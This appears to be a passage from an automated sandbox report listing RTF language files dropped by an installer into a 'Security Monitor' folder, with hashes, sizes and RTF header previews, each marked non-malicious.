Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-4HF6K.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	43992
Entropy (8bit):	5.0490517908671535
Encrypted:	false
SSDEEP:	768:2aFknOj9rcGSOzlD0gl+0j3akipVsb5IjTF4BaVy3F1+1h1r1KDZ/6A9z:2amAhbwF4BaA3F1+1h1r1KDIA9z
MD5:	093443BD0007A7BB28B50778BFB43E66
SHA1:	7FC5599F85CEBDA23A323994A57590E14628C84C
SHA-256:	2823645253E4999BA6ED5175DDA4B288C2D01916811294E0E538726BB43952CD
SHA-512:	9A1BB1C996C3B0561B2F1C20D8FB12E3B98322961572803AFFDA7659E024840BA5FD04C53329A443F1C8DB1B16B89CD2E64CCE409AFDBED6139B21F08A65B3C4
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-6OSFV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	46380
Entropy (8bit):	5.030428428463447
Encrypted:	false
SSDEEP:	768:qqegxdU6T2njX8x3TLjwUtqYepr+pNINnNINGNAAlTuARAhyzc1TOCgX03w3n30j:qqHLIA9R
MD5:	E7F852CDF6B14E79DB92EF3A563FFE70
SHA1:	CEAD99D6CA825878A9040D0F05C04D34DCB48B3F
SHA-256:	C5F6E6F3BEB1F933033207BA5217B357F1257671A5DB08AC5D6E1C484AFF5744
SHA-512:	0F259C1081D3932B0DCA526CE090C3EDEA9C8B40DFE71649F6EED6F948F2FBFE9266C0531BEF728F15ED5969CCC1FE9710EA44903BB2CF49FBD8BA531EBC3D2E
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-9EIGP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	39892
Entropy (8bit):	5.034602521621446
Encrypted:	false
SSDEEP:	384:2aFkyWNdW2OTYn/akrOc7jgskl7rVGG1ZoQZq4sMQi1y9k1IKWhlmdBMyiX4+0Aw:2aFknOc7cskl/VGG1iMN+0dZ/6A9v
MD5:	D947033057D3BCAF28277A8071817DB8
SHA1:	901824B565296E552D80E934D8A2F39369611F86
SHA-256:	B8A385017A5AD17D0584EB61350466CD453CA521B282F195CA0AF0971621BFB2
SHA-512:	92ACB02795C228F72BF64ED33A55B6DB6D4222786B32FA0A67A6A55D53F6D851BC6659CCA4341FDECD6BF0B48E5CAC7D1A437A26927F790A57436C5AAFA1877B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-A6V3O.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	57638
Entropy (8bit):	4.981099786389407
Encrypted:	false
SSDEEP:	768:q4e94jXjOcPI0QhhiLVRMek4aEqkGBKugOLT7eQk8C/Pr+uPmB35LBUo22xt2VOz:q49OUnWkIA9U
MD5:	DAEEF8D403213DE69003FA2BA7664B93
SHA1:	4A5FE0EE5ACCA61948EDA61062B395F59E224E7F
SHA-256:	635C6F72A6029595AF7922DF53835CE80BF486671E0BE4164D4612F03E993FF4
SHA-512:	5DE410F9C6A4F4A27ED9F456DF9D0D79DF87A21125718CC9B6674B0A4ED686F0630B1BE86A30B787053C3380A24C844899C3CFAA9A4854E72DA803AD673AF92E
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-B0DQQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	36597
Entropy (8bit):	5.030646060695953
Encrypted:	false
SSDEEP:	768:q4FkNx1ETicPI0QhhiLV9E8cvtsomvimZ/6A9Q:q4GVUnXIA9Q
MD5:	4C157CB3C17D248D1CE74DB9A506CBBC
SHA1:	E8786D856D7F9A33E841A2C4BDF4BA41E8153448
SHA-256:	78E2AD2864EE4FA19DF5149FA7C86F4937FECDC48B0AC7965B9332706A356F87
SHA-512:	BA3C0F19E6B41C82021B4B0A00D9177F44D9341C5F26226258AEAC93DD46622C55C50ED284F5B8CD6DEBAF52C35B55720732C0FF9D86961E55648E2182D358DC
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-BRSF4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44558
Entropy (8bit):	5.049062407758663
Encrypted:	false
SSDEEP:	768:2aFknOj9rcGSOzlD0gl+0j3akipVsc5NcTF4BaVy3F1+1h1r1KDZ/6A9L:2amAhcWF4BaA3F1+1h1r1KDIA9L
MD5:	16036186160BEB81F13561AE51DCFBED
SHA1:	BB644BD11DABCC9F453A71745D7CF12A1621FEBA
SHA-256:	AE0674BF9ECDCD8A1550E0ECA0529EED66E9786B6029AE6EB5414769205FDAA2
SHA-512:	CEDAD90055D3DE40A431B0FF9FA89D9E2A25E831EC484854F01E04CC953EBBD50D76B23107C5D1446145A4596A721EEBB34B6EFF827C623D894924BEB64B8DA2
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-D1SET.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44198
Entropy (8bit):	5.048748452821434
Encrypted:	false
SSDEEP:	768:2aFknOj9rcGSOzlD0gl+0j3akipVsQ5x8tTF4BaVy3F1+1h1r1KDZ/6A95:2amAhQsF4BaA3F1+1h1r1KDIA95
MD5:	B09494F1B4F83DBB2489B542B911DFB3
SHA1:	02BA1EB53181B33E02138D564B00DF6FF7084091
SHA-256:	901AFF931E90289B75F9385BE37787DF1A88D67419623904BD8C9C7AD9CBE21A
SHA-512:	79BDB81018FD674776B10007A0FEAFD3B4A16718ED531EFAFDE80F54A924281A4199A7F1A3005C8FF9BE4E6DE2240C4C480667C0A99E134BBA0BF0A414BFD257
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-ES2GI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	66194
Entropy (8bit):	4.972115474061052
Encrypted:	false
SSDEEP:	768:q4Fkex1eiCUYvmpNM2UrPGsGx7TYlDidldgOQrrFlEoIeRWeWyWVWAWJHZIWRWe0:q4vsLIA9i
MD5:	6181F9D5B81EC15F49F57FCFABF69562
SHA1:	451D5FBDF90E8CD153DC5990092613901D084CD1
SHA-256:	442E6A351381A56F912F0A68036C868F60D45117C92C9C2225948AC614DF7416
SHA-512:	5F5C61E9995C9081CFC0F97E857B5D67E45A1A6FD0796927AE694E25E41A50129E1952B19CF9A40A325A23137732465A718B1282C23688093160A0FF604BB124
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-HEV7O.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	48084
Entropy (8bit):	5.035611454104282
Encrypted:	false
SSDEEP:	768:qqFy4a4jfDCcJJrNgVVhGPNhHwGNjm+epnq/x7yjxNQwr8AUmQryuj8QDc3n3g3x:qqJ9aqbIA9b
MD5:	EF57D23344C66880C6A38F743FD3FF0E
SHA1:	FC336BCC92580A0D367CB5B3604EE0040CC08492
SHA-256:	E36C9442648C0564C6AD9AC6074EC2B5023BBEBF291708977714AD977DDC1633
SHA-512:	C336736ADD43033E4BEA538EDAD809127C1ECF80DA20FCD3E02065E310919529E44C5CF57D0FD24EA295FAE367BFE7F7C52465E18863D0B2AF37188EA069502F
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-JFQFP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	49574
Entropy (8bit):	5.031691924230754
Encrypted:	false
SSDEEP:	768:4qFys4jeDCcJ+r15g5V5V5h5G5P5N5hBcqtqYepn3/xXdQQMQs2YMKBX49nNbaEq:4qYo3CtU7c7KIA9m
MD5:	AEE08B8B9A32D64F630D57580A2D4457
SHA1:	0BD2511BF3C71E549858E1990A07CA29A11A9C8D
SHA-256:	468D9AA761B58B6CCA9C93C271D3B9A3EC96D367019CA53F0579E3A5E87720FE
SHA-512:	16CE81CF5D2A1910E845DC857AEC389ADB9E2A05E262DD47F4285A5BF5EE9A522622484EC9CE875089B1526B0C0A5956A66B858A6A731F33F2BDE6E1FE130A71
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff-10\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-LPGDL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42930
Entropy (8bit):	5.0450094413030575
Encrypted:	false
SSDEEP:	768:qqFy/4jfDCcJJrNgVVhGPNhHwGNjm+epnqyxz/BSKIasAzoBYcXumDpIyZ/6A97:qqraqpIA97
MD5:	DBF71033F406A5C5C9AEA3EC2E669C28
SHA1:	829479F385D2FFC9EFF81C2E3F3543289D64C1B9
SHA-256:	452AA2D29FFC659EF8042B9933B8DD6A7A679E906371F3C5530E740ED0B8605F
SHA-512:	B926A8072DBAF438AC4F1B920D4C7B4A1E16BCD371F904DB429927968D2DA1D4C3ED1517DD7E8D35604911623F86EB4F46A3ADDA56B27BAEB9DB6063CA51BF68
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-LS4VV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44859
Entropy (8bit):	5.042653911286004
Encrypted:	false
SSDEEP:	768:qqFy4a4jfDCcJJrNgVVhGPNhHwGNjm+epnqdxBBdwwZxsAUtcGuermSShpHlfcXX:qqJ9aqMIA9Z
MD5:	0692A56E310ADDB8AB518DFF420373E6
SHA1:	1855B76BA5A77F96D7ED04FECD78342BB3902517
SHA-256:	821D367CFEC38EEB7BFC2635ECC1B8938802D5D4071AFFA380BF5D3DA32BBA8A
SHA-512:	FE0C99F78A2807F06ECE7E94CFD9EBAD74E65FE2E9A8619D1EB3FD9CA68FA1F80AEA29D7FE1CD0AA7CEC6DD0404070E99FBD1B14DE5409CAB94703B2C679083C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-NFVA8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	47296
Entropy (8bit):	5.036767014333867
Encrypted:	false
SSDEEP:	768:qqFy/4jfDCcJJrNgVVhGPNhHwGNjm+epnqExwaWxZqEUqCuj8QDe3n3g3/3Z3z3V:qqraqDIA9/
MD5:	7984C74EC410F7A952EBBBB798A09143
SHA1:	10E1E32861C86AA02C81D824CAEEB670DC2FD1F8
SHA-256:	922B12112DE9715D7164050920AE36A5AA44FB3346DF447C6ADB5ADF36483F69
SHA-512:	34B6C3E0E3FADC4AB057411FF42B6DEB01E3B70297A357358BC27E5A5A802D68B50BA01EB1DA42E922B00DA3C0F5E58330F9A751D496E107BBAE0FFC2E2B31BE
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-OG1P0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	96477
Entropy (8bit):	4.924667312566969
Encrypted:	false
SSDEEP:	768:q4FkIxd/+zl3C79ka9aT2njX8x3fj5g5V5V5h5G5P5N585gVVhGPN9turfTYlD+N:q4pfLS7tFvIA9AA
MD5:	474EFD092A23625D32003FF87FF3453A
SHA1:	1BD49C74CD6DC150858759546E8C8B7A49F12288
SHA-256:	8AEAD04008796E39C04E7E0F99B5824387C416B5C2A0EFF01A9FE5881959F382
